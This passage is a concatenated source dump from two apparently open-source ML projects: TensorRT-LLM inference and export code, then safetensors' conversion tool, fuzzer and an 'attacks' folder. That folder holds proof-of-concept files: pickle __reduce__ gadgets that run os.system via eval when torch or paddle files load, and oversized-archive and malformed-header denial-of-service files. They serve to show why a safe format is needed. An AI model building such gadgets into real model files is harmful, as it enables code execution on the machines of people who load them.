+from tensorrt_llm.executor import GenerationExecutor, GenerationRequest, GenerationResult
+from tensorrt_llm.hlapi import SamplingParams
+from optimum.nvidia.hub import HuggingFaceHubModel
+from optimum.nvidia.utils.nvml import is_post_ampere
+if TYPE_CHECKING:
+    from transformers import GenerationConfig
+LOGGER = getLogger(__name__)
+
+def read_engine_config_file(path: Path) -> Dict[str, Any]:
+    with open(path / 'config.json', 'r', encoding='utf-8') as config_f:
+        return json.load(config_f)
+
+def convert_generation_config(config: 'GenerationConfig') -> 'SamplingParams':
+    return SamplingParams(end_id=config.eos_token_id, pad_id=config.pad_token_id, top_k=config.top_k if config.do_sample else 1, top_p=config.top_p, temperature=config.temperature, beam_width=config.num_beams if config.do_sample else 1, bad_token_ids=config.bad_words_ids, length_penalty=config.length_penalty, repetition_penalty=config.repetition_penalty, no_repeat_ngram_size=config.no_repeat_ngram_size if config.no_repeat_ngram_size > 0 else 1, min_length=config.min_length if config.min_length > 0 else 1, max_new_tokens=config.max_new_tokens, return_generation_logits=config.output_logits, return_log_probs=not config.renormalize_logits)
+
+def default_executor_config(config: Dict[str, Any]) -> 'ExecutorConfig':
+    build_config = config['build_config']
+    plugin_config = config['build_config']['plugin_config']
+    max_blocks_per_sequence = math.floor(build_config['max_seq_len'] / plugin_config['tokens_per_block'])
+    return ExecutorConfig(enable_chunked_context=is_post_ampere(), kv_cache_config=KvCacheConfig(enable_block_reuse=True, max_tokens=build_config['max_beam_width'] * plugin_config['tokens_per_block'] * max_blocks_per_sequence))
+
+class InferenceRuntimeBase:
+    __slots__ = ('_config', '_executor', '_generation_config', '_sampling_config')
+
+    def __init__(self, engines_path: Union[str, PathLike], generation_config: 'GenerationConfig', executor_config: Optional['ExecutorConfig']=None, load_engines: bool=True):
+        engines_path = Path(engines_path)
+        if not engines_path.exists():
+            raise OSError(f"engine folder {engines_path} doesn't exist")
+        self._config = read_engine_config_file(engines_path)
+        self._generation_config = generation_config
+        self._sampling_config = convert_generation_config(generation_config)
+        if load_engines:
+            self._executor = GenerationExecutor.create(engine=engines_path, executor_config=executor_config or default_executor_config(self._config))
+
+    def generate(self, inputs: Union[List[int], 'torch.IntTensor'], generation_config: Optional['GenerationConfig']=None):
+        sampling = convert_generation_config(generation_config) if generation_config else self._sampling_config
+        if isinstance(inputs, torch.Tensor):
+            inputs = inputs.tolist()
+        result = self._executor.generate(inputs, sampling_params=sampling)
+        return result[0].outputs[0].token_ids
+
+    async def agenerate(self, inputs: Union[List[int], 'torch.IntTensor'], generation_config: Optional['GenerationConfig']=None) -> List[int]:
+        sampling = convert_generation_config(generation_config) if generation_config else self._sampling_config
+        if isinstance(inputs, torch.Tensor):
+            inputs = inputs.tolist()
+        futures = self._executor.generate_async(inputs, streaming=False, sampling_params=sampling)
+        if isinstance(futures, GenerationRequest):
+            results = await futures.aresult()
+            return results.token_ids
+        else:
+            results = await asyncio.gather(*[f.aresult() for f in futures])
+            return [r.token_ids for r in results]
+
+class CausalLMOutput:
+    __slots__ = ('_results',)
+
+    def __init__(self, results: Union['GenerationResult', Sequence['GenerationResult']]):
+        self._results = results
+
+    @property
+    def logits(self):
+        return self._results.token_ids
+
+    @property
+    def loss(self) -> None:
+        return None
+
+class CausalLM(HuggingFaceHubModel, InferenceRuntimeBase):
+
+    def __init__(self, engines_path: Union[str, PathLike, Path], generation_config: 'GenerationConfig', executor_config: Optional['ExecutorConfig']=None, load_engines: bool=True):
+        InferenceRuntimeBase.__init__(self, engines_path, generation_config, executor_config, load_engines)
+        HuggingFaceHubModel.__init__(self, engines_path)
+
+    def _save_additional_parcels(self, save_directory: Path):
+        self._generation_config.save_pretrained(save_directory, 'generation_config.json')
+
+# File: optimum-nvidia-main/src/optimum/nvidia/subpackage/commands/export.py
+import sys
+from typing import TYPE_CHECKING, Optional, Union
+from transformers import AutoConfig, AutoTokenizer
+from optimum.commands import optimum_cli_subcommand
+from optimum.commands.base import BaseOptimumCLICommand, CommandInfo
+from optimum.commands.export.base import ExportCommand
+from optimum.nvidia import AutoModelForCausalLM, ExportConfig
+from optimum.nvidia.export.cli import common_trtllm_export_args
+if TYPE_CHECKING:
+    from argparse import ArgumentParser, Namespace, _SubParsersAction
+    from pathlib import Path
+OPTIMUM_NVIDIA_CLI_QUANTIZATION_TARGET_REF = 'TARGET_QUANTIZATION_RECIPE'
+
+def import_source_file(fname: Union[str, 'Path'], modname: str):
+    import importlib.util
+    spec = importlib.util.spec_from_file_location(modname, fname)
+    module = importlib.util.module_from_spec(spec)
+    sys.modules[modname] = module
+    spec.loader.exec_module(module)
+
+@optimum_cli_subcommand(ExportCommand)
+class TrtLlmExportCommand(BaseOptimumCLICommand):
+    COMMAND = CommandInfo(name='trtllm', help='Export PyTorch models to TensorRT-LLM compiled engines')
+
+    def __init__(self, subparsers: '_SubParsersAction', args: Optional['Namespace']=None, command: Optional['CommandInfo']=None, from_defaults_factory: bool=False, parser: Optional['ArgumentParser']=None):
+        super().__init__(subparsers, args=args, command=command, from_defaults_factory=from_defaults_factory, parser=parser)
+        self.args_string = ' '.join(sys.argv[3:])
+
+    @staticmethod
+    def parse_args(parser: 'ArgumentParser'):
+        return common_trtllm_export_args(parser)
+
+    def run(self):
+        args = self.args
+        if args.quantization:
+            tokenizer = AutoTokenizer.from_pretrained(args.model)
+            import_source_file(args.quantization, 'recipe')
+            try:
+                from recipe import TARGET_QUANTIZATION_RECIPE
+                qconfig = TARGET_QUANTIZATION_RECIPE(tokenizer)
+            except ImportError:
+                raise ModuleNotFoundError(f"Global variable 'TARGET_QUANTIZATION_RECIPE' was not found in {args.quantization}. This is required to automatically detect and allocate the right recipe for quantization.")
+        else:
+            qconfig = None
+        config = AutoConfig.from_pretrained(args.model)
+        export = ExportConfig.from_config(config, args.max_batch_size)
+        model = AutoModelForCausalLM.from_pretrained(args.model, export_config=export, quantization_config=qconfig, export_only=True, force_export=True)
+        if args.destination:
+            model.save_pretrained(args.destination)
+        if args.push_to_hub:
+            print(f'Exporting model to the Hugging Face Hub: {args.push_to_hub}')
+            model.push_to_hub(args.push_to_hub, commit_message=f'Optimum-CLI TensorRT-LLM {args.model} export')
+
+# File: optimum-nvidia-main/templates/inference-endpoints/postprocessing/1/model.py
+import json
+import numpy as np
+import triton_python_backend_utils as pb_utils
+from transformers import AutoTokenizer, LlamaTokenizer, T5Tokenizer
+
+class TritonPythonModel:
+    __slots__ = ('tokenizer', 'output_dtype')
+
+    def initialize(self, args):
+        model_config = json.loads(args['model_config'])
+        tokenizer_dir = model_config['parameters']['tokenizer_dir']['string_value']
+        self.tokenizer = AutoTokenizer.from_pretrained(tokenizer_dir, padding_side='left')
+        self.tokenizer.pad_token = self.tokenizer.eos_token
+        output_config = pb_utils.get_output_config_by_name(model_config, 'OUTPUT')
+        self.output_dtype = pb_utils.triton_string_to_numpy(output_config['data_type'])
+
+    def execute(self, requests):
+        responses = []
+        for (idx, request) in enumerate(requests):
+            tokens_batch = pb_utils.get_input_tensor_by_name(request, 'TOKENS_BATCH').as_numpy()
+            outputs = self._postprocessing(tokens_batch)
+            output_tensor = pb_utils.Tensor('OUTPUT', np.array(outputs).astype(self.output_dtype))
+            inference_response = pb_utils.InferenceResponse(output_tensors=[output_tensor])
+            responses.append(inference_response)
+        return responses
+
+    def finalize(self):
+        print('Cleaning up...')
+
+    def _postprocessing(self, tokens_batch):
+        outputs = []
+        for beam_tokens in tokens_batch:
+            for tokens in beam_tokens:
+                output = self.tokenizer.decode(tokens)
+                outputs.append(output.encode('utf8'))
+        return outputs
+
+# File: optimum-nvidia-main/templates/inference-endpoints/preprocessing/1/model.py
+import csv
+import json
+from pathlib import Path
+from typing import List, Sequence
+import numpy as np
+import triton_python_backend_utils as pb_utils
+from tokenizers import Tokenizer
+INPUT_NAMES = {'INPUT_ID', 'REQUEST_INPUT_LEN', 'BAD_WORDS_IDS', 'STOP_WORDS_IDS'}
+
+class TritonPythonModel:
+    __slots__ = ('tokenizer', 'pad_token', 'pad_token_id', 'input_id_dtype', 'request_input_len_dtype', 'bad_words_ids_dtype', 'stop_words_ids_dtype')
+
+    def initialize(self, args):
+        model_config = json.loads(args['model_config'])
+        tokenizer_dir = Path(model_config['parameters']['tokenizer_dir']['string_value'])
+        tokenizer_path = tokenizer_dir.joinpath('tokenizer.json')
+        pad_to_multiple_of = int(model_config['parameters']['pad_to_multiple_of']['string_value'])
+        special_tokens_map_path = tokenizer_dir.joinpath('special_tokens_map.json')
+        with open(special_tokens_map_path, 'r', encoding='utf-8') as special_tokens_f:
+            special_tokens_map = json.load(special_tokens_f)
+        self.tokenizer = Tokenizer.from_file(str(tokenizer_path))
+        if 'eos_token' in special_tokens_map:
+            eos_token = special_tokens_map['eos_token']['content']
+            eos_token_id = self.tokenizer.encode(eos_token, add_special_tokens=False).ids[0]
+            self.pad_token = eos_token
+            self.pad_token_id = eos_token_id
+        for name in INPUT_NAMES:
+            dtype = pb_utils.triton_string_to_numpy(pb_utils.get_output_config_by_name(model_config, name)['data_type'])
+            setattr(self, name.lower() + '_dtype', dtype)
+
+    def execute(self, requests: Sequence):
+        responses = []
+        for request in requests:
+            response = self.handle_request(request)
+            responses.append(response)
+        return responses
+
+    def finalize(self):
+        print('Cleaning up...')
+
+    def handle_request(self, request: Sequence):
+        query = pb_utils.get_input_tensor_by_name(request, 'QUERY').as_numpy().item().decode('utf-8')
+        request_output_len = pb_utils.get_input_tensor_by_name(request, 'REQUEST_OUTPUT_LEN')
+        encoding = self.tokenizer.encode(query)
+        bad_words_ids = pb_utils.Tensor('BAD_WORDS_IDS', np.array([[], []], dtype=self.bad_words_ids_dtype))
+        stop_words_ids = pb_utils.Tensor('STOP_WORDS_IDS', np.array([[], []], dtype=self.stop_words_ids_dtype))
+        input_ids = pb_utils.Tensor('INPUT_ID', np.array([encoding.ids], dtype=self.input_id_dtype))
+        request_input_len = pb_utils.Tensor('REQUEST_INPUT_LEN', np.array([[len(encoding.ids)]], dtype=self.request_input_len_dtype))
+        return pb_utils.InferenceResponse(output_tensors=[input_ids, bad_words_ids, stop_words_ids, request_input_len, request_output_len])
+
+    def _to_word_list_format(self, word_dict: List[List[str]]):
+        assert self.tokenizer != None, 'need to set tokenizer'
+        flat_ids = []
+        offsets = []
+        for word_dict_item in word_dict:
+            item_flat_ids = []
+            item_offsets = []
+            if isinstance(word_dict_item[0], bytes):
+                word_dict_item = [word_dict_item[0].decode()]
+            words = list(csv.reader(word_dict_item))[0]
+            for word in words:
+                ids = self.tokenizer.encode(word)
+                if len(ids) == 0:
+                    continue
+                item_flat_ids += ids
+                item_offsets.append(len(ids))
+            flat_ids.append(np.array(item_flat_ids))
+            offsets.append(np.cumsum(np.array(item_offsets)))
+        pad_to = max(1, max((len(ids) for ids in flat_ids)))
+        for (i, (ids, offs)) in enumerate(zip(flat_ids, offsets)):
+            flat_ids[i] = np.pad(ids, (0, pad_to - len(ids)), constant_values=0)
+            offsets[i] = np.pad(offs, (0, pad_to - len(offs)), constant_values=-1)
+        return np.array([flat_ids, offsets], dtype='int32').transpose((1, 0, 2))
+

huggingface_safetensors.txt

@@ -0,0 +1,1038 @@
+# File: safetensors-main/attacks/numpy_dos_get_pwned.py
+import os
+import numpy as np
+filename = 'numpy_dos.npz'
+print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.")
+print('Be careful this might crash your computer by reserving way too much RAM')
+input('Press Enter to continue')
+archive = np.load(filename)
+weights = archive['weight']
+assert np.allclose(weights, np.zeros((2, 2)))
+print('The file looks fine !')
+
+# File: safetensors-main/attacks/paddle_ace_create.py
+import paddle
+import numpy as np
+from collections import Iterable, OrderedDict
+
+def _parse_every_object(obj, condition_func, convert_func):
+    if condition_func(obj):
+        return convert_func(obj)
+    elif isinstance(obj, (dict, OrderedDict, list)):
+        if isinstance(obj, list):
+            keys = range(len(obj))
+        else:
+            keys = list(obj.keys())
+        for key in keys:
+            if condition_func(obj[key]):
+                obj[key] = convert_func(obj[key])
+            else:
+                obj[key] = _parse_every_object(obj[key], condition_func, convert_func)
+        return obj
+    elif isinstance(obj, tuple):
+        return tuple(_parse_every_object(list(obj), condition_func, convert_func))
+    elif isinstance(obj, set):
+        object(list(obj), condition_func, convert_func)
+    else:
+        return obj
+paddle.framework.io._parse_every_object = _parse_every_object
+
+class BadDict(dict):
+
+    def __init__(self, src: str, **kwargs):
+        super().__init__(**kwargs)
+        self.src = src
+
+    def __reduce__(self):
+        return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items()))
+paddle.save([BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': paddle.zeros((2, 2))})], 'paddle_ace.pdparams')
+
+# File: safetensors-main/attacks/safetensors_abuse_attempt_1.py
+import torch
+from safetensors.torch import load_file, save_file
+filename = 'safetensors_abuse_attempt_1.safetensors'
+
+def create_payload():
+    weights = {'weight': torch.zeros((2, 2))}
+    save_file(weights, filename)
+    with open(filename, 'r+b') as f:
+        f.seek(0)
+        n = 1000
+        n_bytes = n.to_bytes(8, 'little')
+        f.write(n_bytes)
+create_payload()
+test = load_file(filename)
+
+# File: safetensors-main/attacks/safetensors_abuse_attempt_2.py
+import datetime
+import json
+import os
+from safetensors.torch import load_file
+filename = 'safetensors_abuse_attempt_2.safetensors'
+
+def create_payload():
+    shape = [2, 2]
+    n = shape[0] * shape[1] * 4
+    metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 1000 * 10)}
+    binary = json.dumps(metadata).encode('utf-8')
+    n = len(binary)
+    n_header = n.to_bytes(8, 'little')
+    with open(filename, 'wb') as f:
+        f.write(n_header)
+        f.write(binary)
+        f.write(b'\x00' * n)
+create_payload()
+print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo')
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f'Loading the file took {datetime.datetime.now() - start}')
+
+# File: safetensors-main/attacks/safetensors_abuse_attempt_3.py
+import datetime
+import json
+import os
+from safetensors.torch import load_file
+filename = 'safetensors_abuse_attempt_2.safetensors'
+
+def create_payload():
+    shape = [200, 200]
+    n = shape[0] * shape[1] * 4
+    metadata = {f'weight_{i}': {'dtype': 'F32', 'shape': shape, 'data_offsets': [0, n]} for i in range(1000 * 100)}
+    binary = json.dumps(metadata).encode('utf-8')
+    n = len(binary)
+    n_header = n.to_bytes(8, 'little')
+    with open(filename, 'wb') as f:
+        f.write(n_header)
+        f.write(binary)
+        f.write(b'\x00' * n)
+create_payload()
+print(f'The file {filename} is {os.path.getsize(filename) / 1000 / 1000} Mo')
+start = datetime.datetime.now()
+test = load_file(filename)
+print(f'Loading the file took {datetime.datetime.now() - start}')
+
+# File: safetensors-main/attacks/tf_ace_get_pwned.py
+import base64
+import json
+import h5py
+import tensorflow as tf
+new_model = tf.keras.models.load_model('tf.h5')
+print('Transformers is not vulnerable to this, as it uses h5 directly.')
+print('Keras uses a pickled code of the function within the `h5` attrs of the file')
+print("Let's show you the marshalled code")
+with h5py.File('tf_ace.h5') as f:
+    data = json.loads(f.attrs['model_config'])
+    print(base64.b64decode(data['config']['layers'][-1]['config']['function'][0]))
+    pass
+
+# File: safetensors-main/attacks/torch_ace_create.py
+import torch
+
+class BadDict(dict):
+
+    def __init__(self, src: str, **kwargs):
+        super().__init__(**kwargs)
+        self.src = src
+
+    def __reduce__(self):
+        return (eval, (f"os.system('{self.src}') or dict()",), None, None, iter(self.items()))
+torch.save(BadDict('echo "pwned your computer, I can do anything I want."', **{'weight': torch.zeros((2, 2))}), 'torch_ace.pt')
+
+# File: safetensors-main/attacks/torch_dos_create.py
+import os
+from zipfile import ZIP_DEFLATED, ZipFile
+import torch
+FILESIZE = 40 * 1000
+BUFFER = b'\x00' * 1000 * 1000
+filename = 'torch_dos_tmp.pt'
+torch.save({'weight': torch.zeros((2, 2))}, filename)
+with ZipFile(filename, 'r') as torch_zip:
+    outfilename = 'torch_dos.pt'
+    with ZipFile(outfilename, 'w', compression=ZIP_DEFLATED) as outzip:
+        outzip.writestr('archive/data.pkl', torch_zip.open('archive/data.pkl').read())
+        outzip.writestr('archive/version', torch_zip.open('archive/version').read())
+        with outzip.open('archive/data/0', 'w', force_zip64=True) as f:
+            for i in range(FILESIZE):
+                f.write(BUFFER)
+os.remove(filename)
+
+# File: safetensors-main/attacks/torch_dos_get_pwned.py
+import os
+import torch
+filename = 'torch_dos.pt'
+print(f"We're going to load {repr(filename)} which is {os.path.getsize(filename) / 1000 / 1000} Mb so it should be fine.")
+print('Be careful this might crash your computer by reserving way too much RAM')
+input('Press Enter to continue')
+weights = torch.load(filename)
+assert list(weights.keys()) == ['weight']
+assert torch.allclose(weights['weight'], torch.zeros((2, 2)))
+print('The file looks fine !')
+
+# File: safetensors-main/bindings/python/convert.py
+import argparse
+import json
+import os
+import shutil
+from collections import defaultdict
+from tempfile import TemporaryDirectory
+from typing import Dict, List, Optional, Set, Tuple
+import torch
+from huggingface_hub import CommitInfo, CommitOperationAdd, Discussion, HfApi, hf_hub_download
+from huggingface_hub.file_download import repo_folder_name
+from safetensors.torch import _find_shared_tensors, _is_complete, load_file, save_file
+COMMIT_DESCRIPTION = '\nThis is an automated PR created with https://huggingface.co/spaces/safetensors/convert\n\nThis new file is equivalent to `pytorch_model.bin` but safe in the sense that\nno arbitrary code can be put into it.\n\nThese files also happen to load much faster than their pytorch counterpart:\nhttps://colab.research.google.com/github/huggingface/notebooks/blob/main/safetensors_doc/en/speed.ipynb\n\nThe widgets on your model page will run using this model even if this is not merged\nmaking sure the file actually works.\n\nIf you find any issues: please report here: https://huggingface.co/spaces/safetensors/convert/discussions\n\nFeel free to ignore this PR.\n'
+ConversionResult = Tuple[List['CommitOperationAdd'], List[Tuple[str, 'Exception']]]
+
+def _remove_duplicate_names(state_dict: Dict[str, torch.Tensor], *, preferred_names: List[str]=None, discard_names: List[str]=None) -> Dict[str, List[str]]:
+    if preferred_names is None:
+        preferred_names = []
+    preferred_names = set(preferred_names)
+    if discard_names is None:
+        discard_names = []
+    discard_names = set(discard_names)
+    shareds = _find_shared_tensors(state_dict)
+    to_remove = defaultdict(list)
+    for shared in shareds:
+        complete_names = set([name for name in shared if _is_complete(state_dict[name])])
+        if not complete_names:
+            if len(shared) == 1:
+                name = list(shared)[0]
+                state_dict[name] = state_dict[name].clone()
+                complete_names = {name}
+            else:
+                raise RuntimeError(f'Error while trying to find names to remove to save state dict, but found no suitable name to keep for saving amongst: {shared}. None is covering the entire storage.Refusing to save/load the model since you could be storing much more memory than needed. Please refer to https://huggingface.co/docs/safetensors/torch_shared_tensors for more information. Or open an issue.')
+        keep_name = sorted(list(complete_names))[0]
+        preferred = complete_names.difference(discard_names)
+        if preferred:
+            keep_name = sorted(list(preferred))[0]
+        if preferred_names:
+            preferred = preferred_names.intersection(complete_names)
+            if preferred:
+                keep_name = sorted(list(preferred))[0]
+        for name in sorted(shared):
+            if name != keep_name:
+                to_remove[keep_name].append(name)
+    return to_remove
+
+def get_discard_names(model_id: str, revision: Optional[str], folder: str, token: Optional[str]) -> List[str]:
+    try:
+        import json
+        import transformers
+        config_filename = hf_hub_download(model_id, revision=revision, filename='config.json', token=token, cache_dir=folder)
+        with open(config_filename, 'r') as f:
+            config = json.load(f)
+        architecture = config['architectures'][0]
+        class_ = getattr(transformers, architecture)
+        discard_names = getattr(class_, '_tied_weights_keys', [])
+    except Exception:
+        discard_names = []
+    return discard_names
+
+class AlreadyExists(Exception):
+    pass
+
+def check_file_size(sf_filename: str, pt_filename: str):
+    sf_size = os.stat(sf_filename).st_size
+    pt_size = os.stat(pt_filename).st_size
+    if (sf_size - pt_size) / pt_size > 0.01:
+        raise RuntimeError(f'The file size different is more than 1%:\n         - {sf_filename}: {sf_size}\n         - {pt_filename}: {pt_size}\n         ')
+
+def rename(pt_filename: str) -> str:
+    (filename, ext) = os.path.splitext(pt_filename)
+    local = f'{filename}.safetensors'
+    local = local.replace('pytorch_model', 'model')
+    return local
+
+def convert_multi(model_id: str, *, revision=Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult:
+    filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin.index.json', token=token, cache_dir=folder)
+    with open(filename, 'r') as f:
+        data = json.load(f)
+    filenames = set(data['weight_map'].values())
+    local_filenames = []
+    for filename in filenames:
+        pt_filename = hf_hub_download(repo_id=model_id, filename=filename, token=token, cache_dir=folder)
+        sf_filename = rename(pt_filename)
+        sf_filename = os.path.join(folder, sf_filename)
+        convert_file(pt_filename, sf_filename, discard_names=discard_names)
+        local_filenames.append(sf_filename)
+    index = os.path.join(folder, 'model.safetensors.index.json')
+    with open(index, 'w') as f:
+        newdata = {k: v for (k, v) in data.items()}
+        newmap = {k: rename(v) for (k, v) in data['weight_map'].items()}
+        newdata['weight_map'] = newmap
+        json.dump(newdata, f, indent=4)
+    local_filenames.append(index)
+    operations = [CommitOperationAdd(path_in_repo=os.path.basename(local), path_or_fileobj=local) for local in local_filenames]
+    errors: List[Tuple[str, 'Exception']] = []
+    return (operations, errors)
+
+def convert_single(model_id: str, *, revision: Optional[str], folder: str, token: Optional[str], discard_names: List[str]) -> ConversionResult:
+    pt_filename = hf_hub_download(repo_id=model_id, revision=revision, filename='pytorch_model.bin', token=token, cache_dir=folder)
+    sf_name = 'model.safetensors'
+    sf_filename = os.path.join(folder, sf_name)
+    convert_file(pt_filename, sf_filename, discard_names)
+    operations = [CommitOperationAdd(path_in_repo=sf_name, path_or_fileobj=sf_filename)]
+    errors: List[Tuple[str, 'Exception']] = []
+    return (operations, errors)
+
+def convert_file(pt_filename: str, sf_filename: str, discard_names: List[str]):
+    loaded = torch.load(pt_filename, map_location='cpu')
+    if 'state_dict' in loaded:
+        loaded = loaded['state_dict']
+    to_removes = _remove_duplicate_names(loaded, discard_names=discard_names)
+    metadata = {'format': 'pt'}
+    for (kept_name, to_remove_group) in to_removes.items():
+        for to_remove in to_remove_group:
+            if to_remove not in metadata:
+                metadata[to_remove] = kept_name
+            del loaded[to_remove]
+    loaded = {k: v.contiguous() for (k, v) in loaded.items()}
+    dirname = os.path.dirname(sf_filename)
+    os.makedirs(dirname, exist_ok=True)
+    save_file(loaded, sf_filename, metadata=metadata)
+    check_file_size(sf_filename, pt_filename)
+    reloaded = load_file(sf_filename)
+    for k in loaded:
+        pt_tensor = loaded[k]
+        sf_tensor = reloaded[k]
+        if not torch.equal(pt_tensor, sf_tensor):
+            raise RuntimeError(f'The output tensors do not match for key {k}')
+
+def create_diff(pt_infos: Dict[str, List[str]], sf_infos: Dict[str, List[str]]) -> str:
+    errors = []
+    for key in ['missing_keys', 'mismatched_keys', 'unexpected_keys']:
+        pt_set = set(pt_infos[key])
+        sf_set = set(sf_infos[key])
+        pt_only = pt_set - sf_set
+        sf_only = sf_set - pt_set
+        if pt_only:
+            errors.append(f'{key} : PT warnings contain {pt_only} which are not present in SF warnings')
+        if sf_only:
+            errors.append(f'{key} : SF warnings contain {sf_only} which are not present in PT warnings')
+    return '\n'.join(errors)
+
+def previous_pr(api: 'HfApi', model_id: str, pr_title: str, revision=Optional[str]) -> Optional['Discussion']:
+    try:
+        revision_commit = api.model_info(model_id, revision=revision).sha
+        discussions = api.get_repo_discussions(repo_id=model_id)
+    except Exception:
+        return None
+    for discussion in discussions:
+        if discussion.status in {'open', 'closed'} and discussion.is_pull_request and (discussion.title == pr_title):
+            commits = api.list_repo_commits(model_id, revision=discussion.git_reference)
+            if revision_commit == commits[1].commit_id:
+                return discussion
+    return None
+
+def convert_generic(model_id: str, *, revision=Optional[str], folder: str, filenames: Set[str], token: Optional[str]) -> ConversionResult:
+    operations = []
+    errors = []
+    extensions = set(['.bin', '.ckpt'])
+    for filename in filenames:
+        (prefix, ext) = os.path.splitext(filename)
+        if ext in extensions:
+            pt_filename = hf_hub_download(model_id, revision=revision, filename=filename, token=token, cache_dir=folder)
+            (dirname, raw_filename) = os.path.split(filename)
+            if raw_filename == 'pytorch_model.bin':
+                sf_in_repo = os.path.join(dirname, 'model.safetensors')
+            else:
+                sf_in_repo = f'{prefix}.safetensors'
+            sf_filename = os.path.join(folder, sf_in_repo)
+            try:
+                convert_file(pt_filename, sf_filename, discard_names=[])
+                operations.append(CommitOperationAdd(path_in_repo=sf_in_repo, path_or_fileobj=sf_filename))
+            except Exception as e:
+                errors.append((pt_filename, e))
+    return (operations, errors)
+
+def convert(api: 'HfApi', model_id: str, revision: Optional[str]=None, force: bool=False) -> Tuple['CommitInfo', List[Tuple[str, 'Exception']]]:
+    pr_title = 'Adding `safetensors` variant of this model'
+    info = api.model_info(model_id, revision=revision)
+    filenames = set((s.rfilename for s in info.siblings))
+    with TemporaryDirectory() as d:
+        folder = os.path.join(d, repo_folder_name(repo_id=model_id, repo_type='models'))
+        os.makedirs(folder)
+        new_pr = None
+        try:
+            operations = None
+            pr = previous_pr(api, model_id, pr_title, revision=revision)
+            library_name = getattr(info, 'library_name', None)
+            if any((filename.endswith('.safetensors') for filename in filenames)) and (not force):
+                raise AlreadyExists(f'Model {model_id} is already converted, skipping..')
+            elif pr is not None and (not force):
+                url = f'https://huggingface.co/{model_id}/discussions/{pr.num}'
+                new_pr = pr
+                raise AlreadyExists(f'Model {model_id} already has an open PR check out {url}')
+            elif library_name == 'transformers':
+                discard_names = get_discard_names(model_id, revision=revision, folder=folder, token=api.token)
+                if 'pytorch_model.bin' in filenames:
+                    (operations, errors) = convert_single(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names)
+                elif 'pytorch_model.bin.index.json' in filenames:
+                    (operations, errors) = convert_multi(model_id, revision=revision, folder=folder, token=api.token, discard_names=discard_names)
+                else:
+                    raise RuntimeError(f"Model {model_id} doesn't seem to be a valid pytorch model. Cannot convert")
+            else:
+                (operations, errors) = convert_generic(model_id, revision=revision, folder=folder, filenames=filenames, token=api.token)
+            if operations:
+                new_pr = api.create_commit(repo_id=model_id, revision=revision, operations=operations, commit_message=pr_title, commit_description=COMMIT_DESCRIPTION, create_pr=True)
+                print(f'Pr created at {new_pr.pr_url}')
+            else:
+                print('No files to convert')
+        finally:
+            shutil.rmtree(folder)
+        return (new_pr, errors)
+if __name__ == '__main__':
+    DESCRIPTION = '\n    Simple utility tool to convert automatically some weights on the hub to `safetensors` format.\n    It is PyTorch exclusive for now.\n    It works by downloading the weights (PT), converting them locally, and uploading them back\n    as a PR on the hub.\n    '
+    parser = argparse.ArgumentParser(description=DESCRIPTION)
+    parser.add_argument('model_id', type=str, help='The name of the model on the hub to convert. E.g. `gpt2` or `facebook/wav2vec2-base-960h`')
+    parser.add_argument('--revision', type=str, help='The revision to convert')
+    parser.add_argument('--force', action='store_true', help='Create the PR even if it already exists of if the model was already converted.')
+    parser.add_argument('-y', action='store_true', help='Ignore safety prompt')
+    args = parser.parse_args()
+    model_id = args.model_id
+    api = HfApi()
+    if args.y:
+        txt = 'y'
+    else:
+        txt = input('This conversion script will unpickle a pickled file, which is inherently unsafe. If you do not trust this file, we invite you to use https://huggingface.co/spaces/safetensors/convert or google colab or other hosted solution to avoid potential issues with this file. Continue [Y/n] ?')
+    if txt.lower() in {'', 'y'}:
+        (commit_info, errors) = convert(api, model_id, revision=args.revision, force=args.force)
+        string = f'\n### Success 🔥\nYay! This model was successfully converted and a PR was open using your token, here:\n[{commit_info.pr_url}]({commit_info.pr_url})\n        '
+        if errors:
+            string += '\nErrors during conversion:\n'
+            string += '\n'.join((f'Error while converting {filename}: {e}, skipped conversion' for (filename, e) in errors))
+        print(string)
+    else:
+        print(f'Answer was `{txt}` aborting.')
+
+# File: safetensors-main/bindings/python/convert_all.py
+""""""
+from convert import AlreadyExists, convert
+from huggingface_hub import HfApi, ModelFilter, ModelSearchArguments
+from transformers import AutoConfig
+if __name__ == '__main__':
+    api = HfApi()
+    args = ModelSearchArguments()
+    total = 50
+    models = list(api.list_models(filter=ModelFilter(library=args.library.Transformers), sort='downloads', direction=-1))[:total]
+    correct = 0
+    errors = set()
+    for model in models:
+        model = api.model_info(model.id, files_metadata=True)
+        size = None
+        for sibling in model.siblings:
+            if sibling.rfilename == 'pytorch_model.bin':
+                size = sibling.size
+        if size is None or size > 2000000000:
+            print(f'[{model.downloads}] Skipping {model.modelId} (too large {size})')
+            continue
+        model_id = model.modelId
+        print(f'[{model.downloads}] {model.modelId}')
+        try:
+            convert(api, model_id)
+            correct += 1
+        except AlreadyExists as e:
+            correct += 1
+            print(e)
+        except Exception as e:
+            config = AutoConfig.from_pretrained(model_id)
+            errors.add(config.__class__.__name__)
+            print(e)
+    print(f'Errors: {errors}')
+    print(f'File size is difference {len(errors)}')
+    print(f'Correct rate {correct}/{total} ({correct / total * 100:.2f}%)')
+
+# File: safetensors-main/bindings/python/fuzz.py
+import datetime
+import sys
+import tempfile
+from collections import defaultdict
+import atheris
+with atheris.instrument_imports():
+    from safetensors.torch import load_file
+EXCEPTIONS = defaultdict(int)
+START = datetime.datetime.now()
+DT = datetime.timedelta(seconds=30)
+
+def TestOneInput(data):
+    global START
+    with tempfile.NamedTemporaryFile() as f:
+        f.write(data)
+        f.seek(0)
+        try:
+            load_file(f.name, device=0)
+        except Exception as e:
+            EXCEPTIONS[str(e)] += 1
+    if datetime.datetime.now() - START > DT:
+        for (e, n) in EXCEPTIONS.items():
+            print(e, n)
+        START = datetime.datetime.now()
+atheris.Setup(sys.argv, TestOneInput)
+atheris.Fuzz()
+
+# File: safetensors-main/bindings/python/py_src/safetensors/flax.py
+import os
+from typing import Dict, Optional, Union
+import numpy as np
+import jax.numpy as jnp
+from jax import Array
+from safetensors import numpy, safe_open
+
+def save(tensors: Dict[str, Array], metadata: Optional[Dict[str, str]]=None) -> bytes:
